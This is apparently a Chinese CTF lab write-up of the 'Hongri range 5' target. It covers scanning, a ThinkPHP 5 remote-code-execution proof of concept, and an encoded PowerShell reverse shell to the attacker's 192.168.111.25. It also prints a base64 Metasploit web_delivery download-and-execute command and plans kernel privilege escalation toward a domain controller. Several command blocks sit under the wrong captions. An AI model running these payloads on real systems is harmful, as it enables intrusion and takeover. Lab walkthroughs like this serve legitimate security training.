找回密码
 立即注册
首页 业界区 业界 红日靶场五 WP | ThinkPHP RCE → 内核提权 → 域控沦陷 ...

红日靶场五 WP | ThinkPHP RCE → 内核提权 → 域控沦陷

赖秀竹 昨天 19:52
一、靶场信息

我打的是无境靶场中的红日靶场五,其靶机地址和本机地址分别为:
1.png

靶场的相关注意事项:
2.png

3.png

二、信息搜集

1、TCP 全端口扫描 + 指纹识别 + 操作系统识别:

命令:
  1. sudo rustscan -a 192.168.111.150 -r 1-65535 -- -sV -O -Pn -n -oA 192.168.111.150_TCP_ports
复制代码
输出(仅列举有效信息):
  1. PORT     STATE SERVICE REASON          VERSION
  2. 80/tcp   open  http    syn-ack ttl 127 Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.5.38)
  3. 3306/tcp open  mysql?  syn-ack ttl 127
复制代码
  1. OS: Windows Server 2008 R2 or Windows 7 SP1 (96%)
复制代码
这些信息凝聚成一块得到的结论就是:集成环境
为什么?

  • 原生生态冲突: Windows Server 的“亲儿子”生态是什么?是 IIS Web 服务器 + ASP.NET + MSSQL 数据库。而 Apache + PHP + MySQL 是 Linux 环境下的“黄金搭档”(即经典的 LAMP 架构)。
  • 部署成本考量: 在 Linux 上,用包管理器(apt/yum)安装 Apache/PHP/MySQL 非常丝滑。但如果你尝试过在 Windows 环境下纯手工分别下载 Apache、配置 PHP 模块、再挂载 MySQL 服务,你会知道那是一件非常繁琐且容易踩坑的事情。因此,正常的大型企业生产环境,极少会煞费苦心地在 Windows Server 上手工搭建一套异构的 Apache+PHP 环境。如果他们真要用 PHP,通常会直接开一台 Linux 虚拟机。
为了解决上述痛点,国内外的厂商推出了“一键安装包”,比如 phpStudy、WampServer、宝塔面板 (Windows 版)、XAMPP 等等。
因此,当看到这三样组件同时出现在 Windows 上,且版本相对老旧时,99% 的概率它就是一个一键安装的集成环境。
2、UDP 高价值端口扫描 + 指纹识别

命令:
  1. sudo nmap -Pn -sU -sV -n --top-ports 20 192.168.111.150 -oA 192.168.111.150_UDP_ports
复制代码
输出:
  1. PORT      STATE         SERVICE      VERSION
  2. 53/udp    open|filtered domain
  3. 67/udp    open|filtered dhcps
  4. 68/udp    open|filtered dhcpc
  5. 69/udp    open|filtered tftp
  6. 123/udp   open|filtered ntp
  7. 135/udp   open|filtered msrpc
  8. 137/udp   open|filtered netbios-ns
  9. 138/udp   open|filtered netbios-dgm
  10. 139/udp   open|filtered netbios-ssn
  11. 161/udp   open|filtered snmp
  12. 162/udp   open|filtered snmptrap
  13. 445/udp   open|filtered microsoft-ds
  14. 500/udp   open|filtered isakmp
  15. 514/udp   open|filtered syslog
  16. 520/udp   open|filtered route
  17. 631/udp   open|filtered ipp
  18. 1434/udp  open|filtered ms-sql-m
  19. 1900/udp  open|filtered upnp
  20. 4500/udp  open|filtered nat-t-ike
  21. 49152/udp open|filtered unknown
复制代码
都是 open|filtered(开放或者被过滤),这基本等于没信息。
决策:先处理 TCP 端口,如果没有突破,再回到 UDP 端口,用特定的工具或者脚本去侦察。
三、ThinkPHP

浏览器访问 80 端口:
4.png

显然是 ThinkPHP 框架,且版本号为 V5,利用 searchsploit 查询是否存在已知漏洞:
5.png

]
6.png

给了一个网站:https://github.com/SkyBlueEternal/thinkphp-RCE-POC-Collection
访问后看到里面的针对各种版本的 Poc:
7.png

目前只有 V5 的信息,先尝试:
  1. http://192.168.111.150/tp5/public/?s=index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
复制代码
结果:
8.png

知晓了更加完整的版本号,同页面中同样有该版本的 Poc:
  1. http://192.168.111.150/to/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
复制代码
注意:网站给的 Poc 中,用于测试 RCE 的命令是 id,这是 Linux 才有的命令,但是我们的目标是 Windows,若采用该命令页面是没有回显的。
9.png

RCE 成功。
四、WebShell

目前已经有个稳定可用的 WebShell,我一开始的思路是直接反弹 Shell,先让 Kali 监听:
  1. ❯ rlwrap nc -lvnp 4444
  2. listening on [any] 4444 ...
复制代码
然后让 WebShell 运行命令:
  1. powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27192.168.111.25%27%2C4444%29%3B%24stream%20%3D%20%24client.GetStream%28%29%3B%5Bbyte%5B%5D%5D%24bytes%20%3D%200..65535%7C%25%7B0%7D%3Bwhile%28%28%24i%20%3D%20%24stream.Read%28%24bytes%2C%200%2C%20%24bytes.Length%29%29%20-ne%200%29%7B%3B%24data%20%3D%20%28New-Object%20-TypeName%20System.Text.ASCIIEncoding%29.GetString%28%24bytes%2C0%2C%20%24i%29%3B%24sendback%20%3D%20%28iex%20%24data%202%3E%261%20%7C%20Out-String%20%29%3B%24sendback2%20%3D%20%24sendback%20%2B%20%27PS%20%27%20%2B%20%28pwd%29.Path%20%2B%20%27%3E%20%27%3B%24sendbyte%20%3D%20%28%5Btext.encoding%5D%3A%3AASCII%29.GetBytes%28%24sendback2%29%3B%24stream.Write%28%24sendbyte%2C0%2C%24sendbyte.Length%29%3B%24stream.Flush%28%29%7D%3B%24client.Close%28%29%22
复制代码
确实能获得 Shell:
10.png

但是手法过于粗糙,原因如下:
一大坨未经混淆的 PowerShell 反弹 Shell 代码,直接作为 GET 参数进行 URL 编码发了过去:

  • 长度限制与坏字符:GET 请求有长度限制,且各种符号极容易在 URL 传输中被截断或解析错误(虽然这次走运没遇到)。
  • OPSEC 灾难:在真实环境中,这段 Payload 会完整无缺地记录在中间件的 access.log 里。任何一台部署了基础 WAF 或 IDS 的设备,都会在你按下回车的那一瞬间把你的 IP 拉黑。
红队的标准动作是分步走:

  • 极简打入:利用 RCE 写入一个极其轻量级的 Webshell(如哥斯拉/冰蝎的免杀马),或者写入一个下载执行器。
  • 分离执行:通过 Webshell 连接后,再在可控的环境下(甚至是在内存中)去加载你的后续后门或 C2 Beacon。
记住:漏洞利用的 Payload 越短越好,越通用越好。
可是,既然已经拿到 Shell 了,就不要再整那些“花里胡哨”的了,毕竟是靶场环境。
五、跳板机信息搜集

1、UAC
  1. whoami /all
复制代码
  1. User Name         SID                                          
  2. ================= =============================================
  3. sun\administrator S-1-5-21-3388020223-1982701712-4030140183-500
  4. GROUP INFORMATION
  5. -----------------
  6. Group Name                                 Type             SID                                           Attributes                                                     
  7. ========================================== ================ ============================================= ===============================================================
  8. Everyone                                   Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group            
  9. BUILTIN\Users                              Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group            
  10. BUILTIN\Administrators                     Alias            S-1-5-32-544                                  Group used for deny only                                       
  11. NT AUTHORITY\BATCH                         Well-known group S-1-5-3                                       Mandatory group, Enabled by default, Enabled group            
  12. ?????                                 Well-known group S-1-2-1                                       Mandatory group, Enabled by default, Enabled group            
  13. NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group            
  14. NT AUTHORITY\This Organization             Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group            
  15. LOCAL                                      Well-known group S-1-2-0                                       Mandatory group, Enabled by default, Enabled group            
  16. SUN\Group Policy Creator Owners            Group            S-1-5-21-3388020223-1982701712-4030140183-520 Mandatory group, Enabled by default, Enabled group            
  17. SUN\Domain Admins                          Group            S-1-5-21-3388020223-1982701712-4030140183-512 Group used for deny only                                       
  18. SUN\Enterprise Admins                      Group            S-1-5-21-3388020223-1982701712-4030140183-519 Group used for deny only                                       
  19. SUN\Schema Admins                          Group            S-1-5-21-3388020223-1982701712-4030140183-518 Group used for deny only                                       
  20. SUN\Denied RODC Password Replication Group Alias            S-1-5-21-3388020223-1982701712-4030140183-572 Group used for deny only                                       
  21. Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192                                   Mandatory group, Enabled by default, Enabled group, Local Group
  22. PRIVILEGES INFORMATION
  23. ----------------------
  24. Privilege Name                Description                          State   
  25. ============================= ==================================== ========
  26. SeShutdownPrivilege           Shut down the system                 Disabled
  27. SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
  28. SeUndockPrivilege             Remove computer from docking station Disabled
  29. SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
  30. SeTimeZonePrivilege           Change the time zone                 Disabled
复制代码
首先,sun\administrator 告诉我们这是一个域环境:

  • 域名为 sun
  • 目前的用户是 administrator
虽然是 administrator,但是请注意:

  • SID:S-1-16-8192
  • PRIVILEGES INFORMATION 中一大堆的“Disabled”
说明环境开启了 UAC,目前完整性级别处于 Meduim。
简单来说:没有完整的管理员权限。
2、UAC Bypass(初探)

第一反应想到的就是 UAC Bypass,但是绕过有个很重要的前提,需要有交互式的 Session。
几乎所有 UAC Bypass 技术都需要交互式会话(即 Session ID ≥ 1 的桌面会话)。原因是 UAC 的令牌分裂机制仅作用于交互式登录。
查看当前进程的 SessionID:
  1. (Get-Process -Id $PID).SessionId
复制代码
输出:
  1. PS C:\phpStudy\PHPTutorial\WWW\public> (Get-Process -Id $PID).SessionId
  2. 0
复制代码
看一下其他进程:
  1. tasklist
复制代码
  1. Image Name                     PID Session Name        Session#    Mem Usage
  2. ========================= ======== ================ =========== ============
  3. System Idle Process              0                            0         24 K
  4. System                           4                            0      5,896 K
  5. smss.exe                       252                            0        820 K
  6. csrss.exe                      340                            0      4,736 K
  7. csrss.exe                      392                            1      3,536 K
  8. wininit.exe                    400                            0      4,172 K
  9. winlogon.exe                   448                            1      5,456 K
  10. services.exe                   496                            0     11,732 K
  11. lsass.exe                      504                            0     10,588 K
  12. lsm.exe                        512                            0      3,224 K
  13. svchost.exe                    632                            0      7,804 K
  14. svchost.exe                    700                            0      6,200 K
  15. svchost.exe                    748                            0     15,280 K
  16. LogonUI.exe                    820                            1     32,472 K
  17. svchost.exe                    836                            0     53,932 K
  18. svchost.exe                    864                            0     27,916 K
  19. svchost.exe                    332                            0     10,648 K
  20. svchost.exe                    308                            0     21,200 K
  21. spoolsv.exe                   1128                            0     10,604 K
  22. svchost.exe                   1156                            0      9,360 K
  23. svchost.exe                   1624                            0      4,580 K
  24. svchost.exe                   1856                            0     31,516 K
  25. taskeng.exe                   1972                            0      4,116 K
  26. httpd.exe                     2008                            0        528 K
  27. mysqld.exe                    2016                            0      2,172 K
  28. conhost.exe                   2028                            0      2,332 K
  29. httpd.exe                     1616                            0        724 K
  30. svchost.exe                   2656                            0      4,476 K
  31. sppsvc.exe                    2684                            0      6,872 K
  32. SearchIndexer.exe             2752                            0     18,752 K
  33. cmd.exe                       2484                            0        528 K
  34. conhost.exe                   3048                            0      2,704 K
  35. powershell.exe                2976                            0     10,696 K
  36. WmiPrvSE.exe                  2776                            0      6,776 K
  37. tasklist.exe                  1292                            0      5,428 K
复制代码
少数 session 是 1 的。
这里可以顺带看看 AV、EDR 之类的(本靶机没有看到)。
3、补齐其他信息点
  1. systeminfo
复制代码
  1. PS C:\phpStudy\PHPTutorial\WWW\public> systeminfo
  2. Host Name:                 WIN7
  3. OS Name:                   Microsoft Windows 7 Professional
  4. OS Version:                6.1.7601 Service Pack 1 Build 7601
  5. OS Manufacturer:           Microsoft Corporation
  6. OS Configuration:          Member Workstation
  7. OS Build Type:             Multiprocessor Free
  8. Registered Owner:          Windows ??
  9. Registered Organization:   
  10. Product ID:                00371-177-0000061-85581
  11. Original Install Date:     2020/3/5, 0:44:56
  12. System Boot Time:          2026/4/4, 0:42:40
  13. System Manufacturer:       VMware, Inc.
  14. System Model:              VMware Virtual Platform
  15. System Type:               x64-based PC
  16. Processor(s):              1 Processor(s) Installed.
  17.                            [01]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~2200 Mhz
  18. BIOS Version:              Phoenix Technologies LTD 6.00, 2020/11/12
  19. Windows Directory:         C:\Windows
  20. System Directory:          C:\Windows\system32
  21. Boot Device:               \Device\HarddiskVolume1
  22. System Locale:             zh-cn;Chinese (China)
  23. Input Locale:              zh-cn;Chinese (China)
  24. Time Zone:                 (UTC+08:00) Beijing, Chongqing, Hong Kong, Urumqi
  25. Total Physical Memory:     2,047 MB
  26. Available Physical Memory: 1,484 MB
  27. Virtual Memory: Max Size:  4,095 MB
  28. Virtual Memory: Available: 3,280 MB
  29. Virtual Memory: In Use:    815 MB
  30. Page File Location(s):     C:\pagefile.sys
  31. Domain:                    sun.com
  32. Logon Server:              N/A
  33. Hotfix(s):                 N/A
  34. Network Card(s):           2 NIC(s) Installed.
  35.                            [01]: Intel(R) PRO/1000 MT Network Connection
  36.                                  Connection Name: wk1 waiwang
  37.                                  DHCP Enabled:    No
  38.                                  IP address(es)
  39.                                  [01]: 192.168.111.150
  40.                                  [02]: fe80::74ff:9ed7:53ab:d404
  41.                            [02]: Intel(R) PRO/1000 MT Network Connection
  42.                                  Connection Name: ????
  43.                                  DHCP Enabled:    No
  44.                                  IP address(es)
  45.                                  [01]: 192.168.138.136
  46.                                  [02]: fe80::edf4:9135:b0e6:cfc4
复制代码

  • 主机名:WIN7
  • 架构:x64
  • 域名:sun.com
  • 双网卡
  • 操作系统名:Microsoft Windows 7
  • 操作系统版本号:6.1.7601 Service Pack 1 Build 7601
  • 补丁情况:N/A(无任何补丁)
获取更多网卡相关信息:
  1. ipconfig /all
复制代码
输出:
  1. PS C:\phpStudy\PHPTutorial\WWW\public> ipconfig /all
  2. Windows IP Configuration
  3.    Host Name . . . . . . . . . . . . : win7
  4.    Primary Dns Suffix  . . . . . . . : sun.com
  5.    Node Type . . . . . . . . . . . . : Hybrid
  6.    IP Routing Enabled. . . . . . . . : No
  7.    WINS Proxy Enabled. . . . . . . . : No
  8.    DNS Suffix Search List. . . . . . : sun.com
  9. Ethernet adapter ????????:
  10.    Connection-specific DNS Suffix  . :
  11.    Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection #2
  12.    Physical Address. . . . . . . . . : 00-50-56-B1-52-DB
  13.    DHCP Enabled. . . . . . . . . . . : No
  14.    Autoconfiguration Enabled . . . . : Yes
  15.    Link-local IPv6 Address . . . . . : fe80::edf4:9135:b0e6:cfc4%16(Preferred)
  16.    IPv4 Address. . . . . . . . . . . : 192.168.138.136(Preferred)
  17.    Subnet Mask . . . . . . . . . . . : 255.255.255.0
  18.    Default Gateway . . . . . . . . . :
  19.    DHCPv6 IAID . . . . . . . . . . . : 352324649
  20.    DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-25-F1-93-23-00-0C-29-CE-6E-F7
  21.    DNS Servers . . . . . . . . . . . : 192.168.138.138
  22.    NetBIOS over Tcpip. . . . . . . . : Enabled
  23. Ethernet adapter wk1 waiwang:
  24.    Connection-specific DNS Suffix  . :
  25.    Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
  26.    Physical Address. . . . . . . . . : 00-50-56-B1-BF-26
  27.    DHCP Enabled. . . . . . . . . . . : No
  28.    Autoconfiguration Enabled . . . . : Yes
  29.    Link-local IPv6 Address . . . . . : fe80::74ff:9ed7:53ab:d404%11(Preferred)
  30.    IPv4 Address. . . . . . . . . . . : 192.168.111.150(Preferred)
  31.    Subnet Mask . . . . . . . . . . . : 255.255.255.0
  32.    Default Gateway . . . . . . . . . :
  33.    DHCPv6 IAID . . . . . . . . . . . : 234884137
  34.    DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-25-F1-93-23-00-0C-29-CE-6E-F7
  35.    DNS Servers . . . . . . . . . . . : 8.8.8.8
  36.    NetBIOS over Tcpip. . . . . . . . : Enabled
  37. Tunnel adapter isatap.{522E987F-D8BB-4F8D-BD80-6B57C75E348D}:
  38.    Media State . . . . . . . . . . . : Media disconnected
  39.    Connection-specific DNS Suffix  . :
  40.    Description . . . . . . . . . . . : Microsoft ISATAP Adapter
  41.    Physical Address. . . . . . . . . : 00-00-00-00-00-00-00-E0
  42.    DHCP Enabled. . . . . . . . . . . : No
  43.    Autoconfiguration Enabled . . . . : Yes
  44. PS C:\phpStudy\PHPTutorial\WWW\public>
复制代码

  • 外网:192.168.111.150
  • 内网:192.168.138.136
  • 域控(大概率):192.168.138.138(原因:域环境中,域控通常作为 DNS Servers)
查询域控:
  1. net group "Domain Controllers" /domain
复制代码
输出:
  1. PS C:\phpStudy\PHPTutorial\WWW\public> net group "Domain Controllers" /domain
  2. The request will be processed at a domain controller for domain sun.com.
  3. Group name     Domain Controllers
  4. Comment        ???????????????
  5. Members
  6. -------------------------------------------------------------------------------
  7. DC$                     
  8. The command completed successfully.
复制代码
说明域控的主机名为 DS,完整的可以写成 DC.sun.com
查询 IP:
  1. nslookup DC.sun.com
复制代码
输出:
  1. PS C:\phpStudy\PHPTutorial\WWW\public> PS C:\phpStudy\PHPTutorial\WWW\public> nslookup DC.sun.com
  2. DNS request timed out.
  3.     timeout was 2 seconds.
  4. Server:  UnKnown
  5. Address:  192.168.138.138
  6. Name:    DC.sun.com
  7. Address:  192.168.138.138
复制代码
证实 192.168.138.138 为域控。
接下来的操作都是围绕域控展开。
顺带查看一下目前的进程位数:
  1. PS C:\phpStudy\PHPTutorial\WWW\public> cmd /c "echo %PROCESSOR_ARCHITECTURE%"
  2. x86
复制代码
是 x86,即 32 位的进程。
六、MSF

基础信息搜集完整,该上 MSF 了,因为有着丰富的后渗透模块。
当然,上 C2 也是可以的,不过靶场环境(上面还检查出没有 AV),上啥都差不多。
先打开 MSF:
  1. msfconsole
复制代码
MSF 中有一个能让你获取 shell 并且没有文件落地、直接在内存中执行的模块:
  1. exploit/multi/script/web_delivery
复制代码
使用:
  1. use exploit/multi/script/web_delivery
复制代码
查看相关介绍与需要配置的信息:
  1. msf exploit(multi/script/web_delivery) > info
  2.        Name: Script Web Delivery
  3.      Module: exploit/multi/script/web_delivery
  4.    Platform: Python, PHP, Windows, Linux, OSX
  5.        Arch: python, php, x86, x64
  6. Privileged: No
  7.     License: Metasploit Framework License (BSD)
  8.        Rank: Manual
  9.   Disclosed: 2013-07-19
  10. Provided by:
  11.   Andrew Smith "jakx" <jakx.ppr@gmail.com>
  12.   Ben Campbell <eat_meatballs@hotmail.co.uk>
  13.   Chris Campbell
  14.   Casey Smith
  15.   Trenton Ivey
  16.   g0tmi1k
  17.   phra
  18.   bcoles <bcoles@gmail.com>
  19.   Matt Nelson
  20.   Nick Landers
  21. Module side effects:
  22. unknown-side-effects
  23. Module stability:
  24. unknown-stability
  25. Module reliability:
  26. unknown-reliability
  27. Available targets:
  28.       Id  Name
  29.       --  ----
  30.   =>  0   Python
  31.       1   PHP
  32.       2   PSH
  33.       3   Regsvr32
  34.       4   pubprn
  35.       5   SyncAppvPublishingServer
  36.       6   PSH (Binary)
  37.       7   Linux
  38.       8   Mac OS X
  39. Check supported:
  40.   No
  41. Basic options:
  42.   Name     Current Setting  Required  Description
  43.   ----     ---------------  --------  -----------
  44.   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine
  45.                                       or 0.0.0.0 to listen on all addresses.
  46.   SRVPORT  8080             yes       The local port to listen on.
  47.   SRVSSL   false            no        Negotiate SSL/TLS for local server connections
  48.   SSL      false            no        Negotiate SSL for incoming connections
  49.   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  50.   URIPATH                   no        The URI to use for this exploit (default is random)
  51. Payload information:
  52. Description:
  53.   This module quickly fires up a web server that serves a payload.
  54.   The module will provide a command to be run on the target machine
  55.   based on the selected target. The provided command will download
  56.   and execute a payload using either a specified scripting language
  57.   interpreter or "squiblydoo" via regsvr32.exe for bypassing
  58.   application whitelisting.
  59.   The main purpose of this module is to quickly establish a session on a
  60.   target machine when the attacker has to manually type in the command:
  61.   e.g. Command Injection, RDP Session, Local Access or maybe Remote
  62.   Command Execution.
  63.   This attack vector does not write to disk so it is less likely to
  64.   trigger AV solutions and will allow privilege escalations supplied
  65.   by Meterpreter.
  66.   When using either of the PSH targets, ensure the payload architecture
  67.   matches the target computer or use SYSWOW64 powershell.exe to execute
  68.   x86 payloads on x64 machines.
  69.   Regsvr32 uses "squiblydoo" technique to bypass application whitelisting.
  70.   The signed Microsoft binary file, Regsvr32, is able to request an .sct
  71.   file and then execute the included PowerShell command inside of it.
  72.   Similarly, the pubprn target uses the pubprn.vbs script to request and
  73.   execute a .sct file.
  74.   Both web requests (i.e., the .sct file and PowerShell download/execute)
  75.   can occur on the same port.
  76.   The SyncAppvPublishingServer target uses SyncAppvPublishingServer.exe
  77.   Microsoft signed binary to request and execute a PowerShell script. This
  78.   technique only works on Windows 10 builds <= 1709.
  79.   "PSH (Binary)" will write a file to the disk, allowing for custom binaries
  80.   to be served up to be downloaded and executed.
  81. References:
  82.   https://securitypadawan.blogspot.com/2014/02/php-meterpreter-web-delivery.html
  83.   https://www.pentestgeek.com/2013/07/19/invoke-shellcode/
  84.   http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/
  85.   https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html
  86.   http://web.archive.org/web/20171026182440/http://subt0x10.blogspot.com:80/2017/04/bypass-application-whitelisting-script.html
  87.   https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/
  88.   https://iwantmore.pizza/posts/amsi.html
  89.   https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
  90.   https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/
  91.   https://lolbas-project.github.io/lolbas/Scripts/Pubprn/
  92. View the full module info with the info -d command.
复制代码
查找可用 payload:
  1. msf exploit(multi/script/web_delivery) > set target PSH
  2. target => PSH
复制代码
选择:
  1. grep windows grep meterpreter show payloads
复制代码
设置本机地址:
  1. set windows/meterpreter/reverse_tcp
复制代码
此时需要注意,配置信息中,其实已经默认填写了本地开启的端口:
  1. msf exploit(multi/script/web_delivery) > set LHOST 192.168.111.25
  2. LHOST => 192.168.111.25
复制代码
但是,我们之前本地监听反弹 Shell 也是这个端口,这必然会造成冲突。
因此,我们手动换一个端口:
  1. msf exploit(multi/script/web_delivery) > show options
  2. Module options (exploit/multi/script/web_delivery):
  3.    Name     Current Setting  Required  Description
  4.    ----     ---------------  --------  -----------
  5.    SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine
  6.                                         or 0.0.0.0 to listen on all addresses.
  7.    SRVPORT  8080             yes       The local port to listen on.
  8.    SRVSSL   false            no        Negotiate SSL/TLS for local server connections
  9.    SSL      false            no        Negotiate SSL for incoming connections
  10.    SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  11.    URIPATH                   no        The URI to use for this exploit (default is random)
  12. Payload options (windows/meterpreter/reverse_tcp):
  13.    Name      Current Setting  Required  Description
  14.    ----      ---------------  --------  -----------
  15.    EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  16.    LHOST     192.168.111.25   yes       The listen address (an interface may be specified)
  17.    LPORT     4444             yes       The listen port
  18. Exploit target:
  19.    Id  Name
  20.    --  ----
  21.    2   PSH
  22. View the full module info with the info, or info -d command.
复制代码
直接 run:
11.png
  1. msf exploit(multi/script/web_delivery) > set LPORT 4445
  2. LPORT => 4445
复制代码
将得到的脚本复制到之前的获得的 Shell 中,并运行:
12.png

回到 MSF,可以发现 Session 已经建立:
13.png

切换到 session 中:
  1. powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABqAFgAeABPAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAGoAWAB4AE8ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABqAFgAeABPAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEAMQAxAC4AMgA1ADoAOAAwADgAMAAvAEsAcgBEAGoAYQBwADUAZwBwAGwANgBNAFQAUQAvAFIAegB1AFoAZwBDAFMAcQBJACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAxADEALgAyADUAOgA4ADAAOAAwAC8ASwByAEQAagBhAHAANQBnAHAAbAA2AE0AVABRACcAKQApADsA
复制代码
七、UAC Bypass(失败)

上述提到的思路是迁移到 SessionID 为 1 的进程。
在 meterpreter 中再次查看进程列表:
  1. msf exploit(multi/script/web_delivery) > sessions -i 1
  2. [*] Starting interaction with 1...
  3. meterpreter >
复制代码
不难发现,要迁移进程至少需要同等权限,之前看到的 SessionID 为 1 的进程在此处都没有显示“Arch”等信息,说明权限不够。
因此,这条路断了。
八、内核提权

现在,两条路可走:

  • 内核提权(原因:之前看到过操作系统以及版本(旧) + 无补丁)
  • 直接横向域控
这里先说第二条思路,我尝试过直接横向,是可以发现域控存在永恒之蓝漏洞的,但是我尝试了很多次,都失败了,可能是因为网的缘故(MS17-010 很吃网络连接)。
过程很简单,就是直接用 MSF 的漏洞验证模块 $\to$ 得知目标 Vulnerable $\to$ exploit 模块打。
但是失败,这里就不展示这一过程了,直接专注于内核提权。
给出提示词:
  1. meterpreter > ps
  2. mProcess List
  3. ============
  4. PID   PPID  Name               Arch  Session  User               Path
  5. ---   ----  ----               ----  -------  ----               ----
  6. 0     0     [System Process]
  7. 4     0     System
  8. 252   4     smss.exe
  9. 308   496   svchost.exe
  10. 332   496   svchost.exe
  11. 340   332   csrss.exe
  12. 392   384   csrss.exe
  13. 400   332   wininit.exe
  14. 448   384   winlogon.exe
  15. 496   400   services.exe
  16. 504   400   lsass.exe
  17. 512   400   lsm.exe
  18. 632   496   svchost.exe
  19. 700   496   svchost.exe
  20. 748   496   svchost.exe
  21. 820   448   LogonUI.exe
  22. 836   496   svchost.exe
  23. 864   496   svchost.exe
  24. 1128  496   spoolsv.exe
  25. 1156  496   svchost.exe
  26. 1572  1616  cmd.exe            x86   0        SUN\Administrator  C:\Windows\SysWOW64\cmd.exe
  27. 1616  2008  httpd.exe          x86   0        SUN\Administrator  C:\phpStudy\PHPTutorial\Apache\bin\httpd.exe
  28. 1624  496   svchost.exe
  29. 1664  1572  powershell.exe     x86   0        SUN\Administrator  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  30. 1856  496   svchost.exe
  31. 1972  864   taskeng.exe        x64   0        SUN\Administrator  C:\Windows\System32\taskeng.exe
  32. 2008  1972  httpd.exe          x86   0        SUN\Administrator  C:\phpStudy\PHPTutorial\Apache\bin\httpd.exe
  33. 2016  1972  mysqld.exe         x86   0        SUN\Administrator  C:\phpStudy\PHPTutorial\MySQL\bin\mysqld.exe
  34. 2028  340   conhost.exe        x64   0        SUN\Administrator  C:\Windows\System32\conhost.exe
  35. 2484  1616  cmd.exe            x86   0        SUN\Administrator  C:\Windows\SysWOW64\cmd.exe
  36. 2656  496   svchost.exe
  37. 2684  496   sppsvc.exe
  38. 2752  496   SearchIndexer.exe
  39. 2840  340   conhost.exe        x64   0        SUN\Administrator  C:\Windows\System32\conhost.exe
  40. 2972  2976  powershell.exe     x86   0        SUN\Administrator  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  41. 2976  2484  powershell.exe     x86   0        SUN\Administrator  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  42. 3048  340   conhost.exe        x64   0        SUN\Administrator  C:\Windows\System32\conhost.exe
复制代码
AI 给的结果:
14.png

我们的目标架构为 x64,因此第一个先排除,试试第二个,即 exploit/windows/local/ms15_051_client_copy_image
在利用模块之前,我们先得解决一个问题:
  1. OS:Microsoft Windows 7
  2. Version:6.1.7601 Service Pack 1 Build 7601
  3. 有哪些内核提权漏洞?
  4. 列举出MSF有针对模块的,并且利用稳定的那些
复制代码
在 MSF 很多的模块中,Payload 和 Target 对于"x64 还是 x86"的选择通常需要保持一致,否则可能会出现不适配的报错提醒。
因此,我们在利用漏洞前,先统一一下,方法就是通过 meterpreter shell 将进程迁移到进程位数为 x64 的进程上去。
  1. 目前,我们的 session 所在的进程位数是 x86,但是 OS 的架构是 x64
复制代码
统一成功。
使用刚刚提到的模块进行提权:
  1. meterpreter > ps
  2. Process List
  3. ============
  4. PID   PPID  Name               Arch  Session  User               Path
  5. ---   ----  ----               ----  -------  ----               ----
  6. 0     0     [System Process]
  7. 4     0     System
